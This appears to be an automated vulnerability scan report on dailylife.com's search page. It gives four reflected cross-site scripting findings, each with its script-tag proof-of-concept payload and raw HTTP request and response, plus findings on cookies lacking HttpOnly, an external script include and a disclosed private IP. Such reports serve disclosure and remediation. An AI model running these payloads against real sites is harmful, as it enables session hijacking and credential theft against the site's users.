XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, dailylife.com
Report generated by XSS.Cx at Mon Jan 23 12:32:40 CST 2012.
1. Cross-site scripting (reflected)
1.1. http://www.dailylife.com/search.php [REST URL parameter 1]
1.2. http://www.dailylife.com/search.php [REST URL parameter 1]
1.3. http://www.dailylife.com/search.php [name of an arbitrarily supplied request parameter]
1.4. http://www.dailylife.com/search.php [query parameter]
2. Cookie without HttpOnly flag set
3. Cross-domain script include
4. Private IP addresses disclosed
1. Cross-site scripting (reflected)
next
There are 4 instances of this issue:
Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:- Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
- User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.dailylife.com/search.php [REST URL parameter 1]
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.dailylife.com |
| Path: |
/search.php |
Issue detail
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6a7d"><script>alert(1)</script>d0e99c3f096 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search.phpe6a7d"><script>alert(1)</script>d0e99c3f096 HTTP/1.1
Host: www.dailylife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
|
Response
HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.dailylife.com/xml/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
Expires: Tue, 06 Dec 2011 05:20:41 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 06 Dec 2011 05:20:41 GMT
Content-Length: 23840
Connection: close
Set-Cookie: SVRID=1322; path=/
Set-Cookie: PHPSESSID=v2aohj3up58dmgc2ou56duram6; path=/
Set-Cookie: acache=6c40256b1591ab0d2752669650a76f41aac51529-bd87d993345c3c6bdcbd9d18080078e4ba114266
Set-Cookie: uvx=NTTO7iPVvqcPfhYM2mO-evWR3gwPTqKv6F8FxHTa9uecrIg2TISN38tK5JUbL_jgfSYvxQXwlW79_4pVIzduK0YhxlQO-o-kf_in1Ri2_CHOcsANvX5k85HM1VtDqmTxrelLfzudxOlMGm4g2vKixNKSMBYXqgLeYEENLOWsxn5Eble1QxvJLHnJfCX31LR5CP-nI1KCTm5Ae7198oJNXL4CTEiWPaQLH4pwjPOr-md8j6Mr45xQnasoZwBdSfN83QxsFl1X1Wt1Pn-aDBqzVTJkl49MSOoMNxEfS9KTKdEx2ueQJcQ6_p70Wjb0jwq9QSmJ7qbQ7CIR82Z_LrslbdF0OOIN-3dxJg4VgsTQzLwjnLVTrCYEmA%2A%2A; expires=Sun, 05-Dec-2021 06:00:00 GMT; path=/
Set-Cookie: adc=CTX; path=/;
<!DOCTYPE html>
<html >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="32efd0681a31773eac061406125f227a" />
<title>DailyLife.com<
...[SNIP]...
<input type="hidden" name="back" value="/search.phpe6a7d"><script>alert(1)</script>d0e99c3f096" />
...[SNIP]...
|
1.2. http://www.dailylife.com/search.php [REST URL parameter 1]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.dailylife.com |
| Path: |
/search.php |
Issue detail
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4684"><script>alert(1)</script>2e711278292 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /search.phpc4684"><script>alert(1)</script>2e711278292?query=diabetes+type+2+diet&dlid=dl-4e4555e784aba&dls=adwc&dlnw=d&dlcid=16322072028&dlbk=diabetes%20recipe&dlp=www.cbsnews.com HTTP/1.1
Host: www.dailylife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
|
Response (redirected)
HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.dailylife.com/xml/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
Expires: Tue, 06 Dec 2011 05:21:03 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 06 Dec 2011 05:21:03 GMT
Content-Length: 26657
Connection: close
Set-Cookie: SVRID=1321; path=/
Set-Cookie: PHPSESSID=uv4nk43kl67taocmj1r28sa9p1; path=/
Set-Cookie: acache=6c40256b1591ab0d2752669650a76f41aac51529-bd87d993345c3c6bdcbd9d18080078e4ba114266
Set-Cookie: uvx=NTTO7iPVvqcPfhYM2mO-eqK3EJ7p1LPkAcIV9bykioCyOS61TRqrw_m83s4glCVsLhcRHO7l9ZxGARjb64bthEYhxlQO-o-kf_in1Ri2_CHOcsANvX5k85HM1VtDqmTxTj1XwcptPw67LtG774a1N9KSMBYXqgLeYEENLOWsxn5Eble1QxvJLHnJfCX31LR5DcHxHRmApFx977Umgy36a74CTEiWPaQLH4pwjPOr-md8j6Mr45xQnasoZwBdSfN83QxsFl1X1Wt1Pn-aDBqzVTJkl49MSOoMNxEfS9KTKdEx2ueQJcQ6_p70Wjb0jwq9QSmJ7qbQ7CIR82Z_LrslbdF0OOIN-3dxJg4VgsTQzLwjnLVTrCYEmA%2A%2A; expires=Sun, 05-Dec-2021 06:00:00 GMT; path=/
Set-Cookie: adc=CTX; path=/;
<!DOCTYPE html>
<html >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="32efd0681a31773eac061406125f227a" />
<title>DailyLife.com<
...[SNIP]...
<input type="hidden" name="back" value="/search.phpc4684"><script>alert(1)</script>2e711278292?uvx=d8ZD2BFHuoL2w3pV3Ue_sgvn610iNUWBPLmX3QaqZUBJ2tkSRv_Q6vkNomVydhmdbXbDAketvESz3r_uEMvlTzCY7ZcNiWH9Ly1MvksjWN3Kif2n6WRXPTnano9SkJuIs4_TjYm8XF_YDigUgcy0f4PcD0cEoTAMrOeBWD9GmIoUS3xZdr_WXuu9od0kwG6nT2VY
...[SNIP]...
|
1.3. http://www.dailylife.com/search.php [name of an arbitrarily supplied request parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.dailylife.com |
| Path: |
/search.php |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 865af"><script>alert(1)</script>e0537dc283b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search.php?865af"><script>alert(1)</script>e0537dc283b=1 HTTP/1.1
Host: www.dailylife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
|
Response
HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.dailylife.com/xml/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
Expires: Tue, 06 Dec 2011 05:20:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 06 Dec 2011 05:20:39 GMT
Content-Length: 23843
Connection: close
Set-Cookie: SVRID=1322; path=/
Set-Cookie: PHPSESSID=78q9jj76n8lj48261r4puempu4; path=/
Set-Cookie: acache=6c40256b1591ab0d2752669650a76f41aac51529-bd87d993345c3c6bdcbd9d18080078e4ba114266
Set-Cookie: uvx=NTTO7iPVvqcPfhYM2mO-ei3fiwY4RFbpx-8nHChZAmdY7VB9RhnPeQJBhEsGceOTyJeQq1W5A-EPNw2pBg5mPkYhxlQO-o-kf_in1Ri2_CHOcsANvX5k85HM1VtDqmTxrelLfzudxOmlaRx6RGBsK9KSMBYXqgLeYEENLOWsxn5Eble1QxvJLHnJfCX31LR5CP-nI1KCTm7-jg8G3yZsGL4CTEiWPaQLH4pwjPOr-md8j6Mr45xQnasoZwBdSfN83QxsFl1X1Wt1Pn-aDBqzVTJkl49MSOoMNxEfS9KTKdEx2ueQJcQ6_kc8_LmhlccoQSmJ7qbQ7CIR82Z_LrslbdF0OOIN-3dxJg4VgsTQzLwjnLVTrCYEmA%2A%2A; expires=Sun, 05-Dec-2021 06:00:00 GMT; path=/
Set-Cookie: adc=CTX; path=/;
<!DOCTYPE html>
<html >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="32efd0681a31773eac061406125f227a" />
<title>DailyLife.com<
...[SNIP]...
<input type="hidden" name="back" value="/search.php?865af"><script>alert(1)</script>e0537dc283b=1" />
...[SNIP]...
|
1.4. http://www.dailylife.com/search.php [query parameter]
previous
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.dailylife.com |
| Path: |
/search.php |
Issue detail
The value of the query request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b9f52'><script>alert(1)</script>2d9f333018a was submitted in the query parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /search.php?query=diabetes+type+2+dietb9f52'><script>alert(1)</script>2d9f333018a&dlid=dl-4e4555e784aba&dls=adwc&dlnw=d&dlcid=16322072028&dlbk=diabetes%20recipe&dlp=www.cbsnews.com HTTP/1.1
Host: www.dailylife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
|
Response (redirected)
HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.dailylife.com/xml/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
Expires: Tue, 06 Dec 2011 05:21:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 06 Dec 2011 05:21:00 GMT
Content-Length: 25105
Connection: close
Set-Cookie: SVRID=1321; path=/
Set-Cookie: PHPSESSID=nc3uf4tuhsdo9ii2igjr1gku16; path=/
Set-Cookie: acache=6c40256b1591ab0d2752669650a76f41aac51529-bd87d993345c3c6bdcbd9d18080078e4ba114266
Set-Cookie: uvx=NTTO7iPVvqcPfhYM2mO-euc85ryYQQxOTr2fcLFDWWRAuLNVGMnKu_y9_HAmCFmN2PZ6f3TtgD-Y0sgP-23mpkYhxlQO-o-kf_in1Ri2_CHOcsANvX5k85HM1VtDqmTxTj1XwcptPw7D04kK5aP5lNKSMBYXqgLeYEENLOWsxn5Eble1QxvJLHnJfCX31LR5DcHxHRmApFzWrvbZCiLgpr4CTEiWPaQLH4pwjPOr-md8j6Mr45xQnasoZwBdSfN83QxsFl1X1Wt1Pn-aDBqzVTJkl49MSOoMNxEfS9KTKdEx2ueQJcQ6_p70Wjb0jwq9QSmJ7qbQ7CIR82Z_LrslbdF0OOIN-3dxJg4VgsTQzLwjnLVTrCYEmA%2A%2A; expires=Sun, 05-Dec-2021 06:00:00 GMT; path=/
Set-Cookie: adc=CTX; path=/;
<!DOCTYPE html>
<html >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="32efd0681a31773eac061406125f227a" />
<title>DailyLife.com<
...[SNIP]...
<input type='text' id='keyword' name='keyword' title='diabetes type 2 dietb9f52'><script>alert(1)</script>2d9f333018a' value ='diabetes type 2 dietb9f52'>
...[SNIP]...
|
2. Cookie without HttpOnly flag set
previous
next
Summary
| Severity: |
Low |
| Confidence: |
Firm |
| Host: |
http://www.dailylife.com |
| Path: |
/search.php |
Issue detail
The following cookies were issued by the application and do not have the HttpOnly flag set:- PHPSESSID=rr5i14p4dg85trnu87dcir1697; path=/
- ARPT=VRWOZXS192.168.100.28CKOUU; path=/
- acache=6c40256b1591ab0d2752669650a76f41aac51529-bd87d993345c3c6bdcbd9d18080078e4ba114266
- uvx=NTTO7iPVvqcPfhYM2mO-ejbqLgNTm0bOmAbeJxfoBu07QaPoQvHsipmVZe_jrGHFuWlq7zoIGeESRg_BYKajIkYhxlQO-o-kf_in1Ri2_CHOcsANvX5k85HM1VtDqmTxsoWyTX8N30QR8R-Gac_FXdKSMBYXqgLeYEENLOWsxn5Eble1QxvJLHnJfCX31LR5KlfP5MBoTwdBmVcxwjlY2b4CTEiWPaQLH4pwjPOr-md8j6Mr45xQnasoZwBdSfN83QxsFl1X1Wt1Pn-aDBqzVTJkl49MSOoMNxEfS9KTKdFbrHBwN_RfMKPjVLVExcZ4QSmJ7qbQ7CIR82Z_LrslbdF0OOIN-3dxJg4VgsTQzLwjnLVTrCYEmA%2A%2A; expires=Sun, 05-Dec-2021 06:00:00 GMT; path=/
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /search.php HTTP/1.1
Host: www.dailylife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
|
Response
HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.dailylife.com/xml/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
Expires: Tue, 06 Dec 2011 05:26:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 06 Dec 2011 05:26:50 GMT
Content-Length: 23797
Connection: close
Set-Cookie: ARPT=VRWOZXS192.168.100.28CKOUU; path=/
Set-Cookie: PHPSESSID=rr5i14p4dg85trnu87dcir1697; path=/
Set-Cookie: acache=6c40256b1591ab0d2752669650a76f41aac51529-bd87d993345c3c6bdcbd9d18080078e4ba114266
Set-Cookie: uvx=NTTO7iPVvqcPfhYM2mO-ejbqLgNTm0bOmAbeJxfoBu07QaPoQvHsipmVZe_jrGHFuWlq7zoIGeESRg_BYKajIkYhxlQO-o-kf_in1Ri2_CHOcsANvX5k85HM1VtDqmTxsoWyTX8N30QR8R-Gac_FXdKSMBYXqgLeYEENLOWsxn5Eble1QxvJLHnJfCX31LR5KlfP5MBoTwdBmVcxwjlY2b4CTEiWPaQLH4pwjPOr-md8j6Mr45xQnasoZwBdSfN83QxsFl1X1Wt1Pn-aDBqzVTJkl49MSOoMNxEfS9KTKdFbrHBwN_RfMKPjVLVExcZ4QSmJ7qbQ7CIR82Z_LrslbdF0OOIN-3dxJg4VgsTQzLwjnLVTrCYEmA%2A%2A; expires=Sun, 05-Dec-2021 06:00:00 GMT; path=/
Set-Cookie: adc=RSP; path=/;
<!DOCTYPE html>
<html >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="32efd0681a31773eac061406125f227a" />
<title>DailyLife.com<
...[SNIP]...
|
3. Cross-domain script include
previous
next
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://www.dailylife.com |
| Path: |
/search.php |
Issue detail
The response dynamically includes the following script from another domain:- http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
Issue background
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /search.php HTTP/1.1
Host: www.dailylife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
|
Response
HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.dailylife.com/xml/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
Expires: Tue, 06 Dec 2011 05:20:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 06 Dec 2011 05:20:34 GMT
Content-Length: 23797
Connection: close
Set-Cookie: SVRID=1322; path=/
Set-Cookie: PHPSESSID=engep1nftvipncrgdn08ep5dm7; path=/
Set-Cookie: acache=6c40256b1591ab0d2752669650a76f41aac51529-bd87d993345c3c6bdcbd9d18080078e4ba114266
Set-Cookie: uvx=NTTO7iPVvqcPfhYM2mO-etVrgF65dY_qN8ioiG8ETc9Y_AHlLkazFs2n6CZ9spTbgs9LRMU1xNNuXTckvwNo0UYhxlQO-o-kf_in1Ri2_CHOcsANvX5k85HM1VtDqmTxrelLfzudxOlp_jiNE3WuktKSMBYXqgLeYEENLOWsxn5Eble1QxvJLHnJfCX31LR5CP-nI1KCTm6nX6c8Evn5fL4CTEiWPaQLH4pwjPOr-md8j6Mr45xQnasoZwBdSfN83QxsFl1X1Wt1Pn-aDBqzVTJkl49MSOoMNxEfS9KTKdEx2ueQJcQ6_kc8_LmhlccoQSmJ7qbQ7CIR82Z_LrslbdF0OOIN-3dxJg4VgsTQzLwjnLVTrCYEmA%2A%2A; expires=Sun, 05-Dec-2021 06:00:00 GMT; path=/
Set-Cookie: adc=CTX; path=/;
<!DOCTYPE html>
<html >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="generator" content="32efd0681a31773eac061406125f227a" />
<title>DailyLife.com</title>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
|
4. Private IP addresses disclosed
previous
Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://www.dailylife.com |
| Path: |
/search.php |
Issue detail
The following RFC 1918 IP address was disclosed in the response:
Issue background
RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.
Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.
Issue remediation
There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.
Request
GET /search.php?query=diabetes+type+2+diet&dlid=dl-4e4555e784aba&dls=adwc&dlnw=d&dlcid=16322072028&dlbk=diabetes%20recipe&dlp=www.cbsnews.com HTTP/1.1
Host: www.dailylife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
|
Response
HTTP/1.1 302 Moved Temporarily
Server: Apache
Location: /search.php?uvx=d8ZD2BFHuoL2w3pV3Ue_sgvn610iNUWBPLmX3QaqZUBJ2tkSRv_Q6vkNomVydhmdbXbDAketvESz3r_uEMvlTzCY7ZcNiWH9Ly1MvksjWN3Kif2n6WRXPTnano9SkJuIs4_TjYm8XF_YDigUgcy0f4PcD0cEoTAMrOeBWD9GmIoUS3xZdr_WXuu9od0kwG6nT2VY9pt_MrLMObf4gn9so6ZleNWbC3GMDxP4dYtLzFV2qZmwNuiiEnNo7WUygEQ3W4O3L31X_7oujQ5FcmeGqx8Toq7gWkPRyarVWU6514nnt9Wwlc3DCifTJ2om151aUvncq2OyGPNQP1BakpCX6IPABIYT-eKqcNy3waAr2Rx0FwLFQ0He1u2qm7lG85Qbv5RzZpkWUXMX-l7TDiETWFgSpK3A5dWNA6WqtZAPUoCq5q79QaudoYoZ52JpxGQAth2L_pVl1lQQHNQZ7Yb5O1l-uBg6docKKVMedFk1_OV7QkJoiuMZ3JM7a3p9mnFSXQYFCxzGZvCxLOLZP9_SMSaIX2RRmc4OiuGDkp7ZTxnTnAcTdICe5IIuVnTGGcnSlnfsEs6Fdq-kysVZs1JDoL2TK0Js1vHY
P3P: policyref="http://www.dailylife.com/xml/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 06 Dec 2011 05:26:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 06 Dec 2011 05:26:49 GMT
Connection: close
Set-Cookie: ARPT=VRWOZXS192.168.100.28CKOUU; path=/
Set-Cookie: PHPSESSID=mv31sapb03s57a55c1c1f3s0o5; path=/
Set-Cookie: acache=6c40256b1591ab0d2752669650a76f41aac51529-bd87d993345c3c6bdcbd9d18080078e4ba114266
Set-Cookie: adc=RSP; path=/;
|
Report generated by XSS.Cx at Mon Jan 23 12:32:40 CST 2012.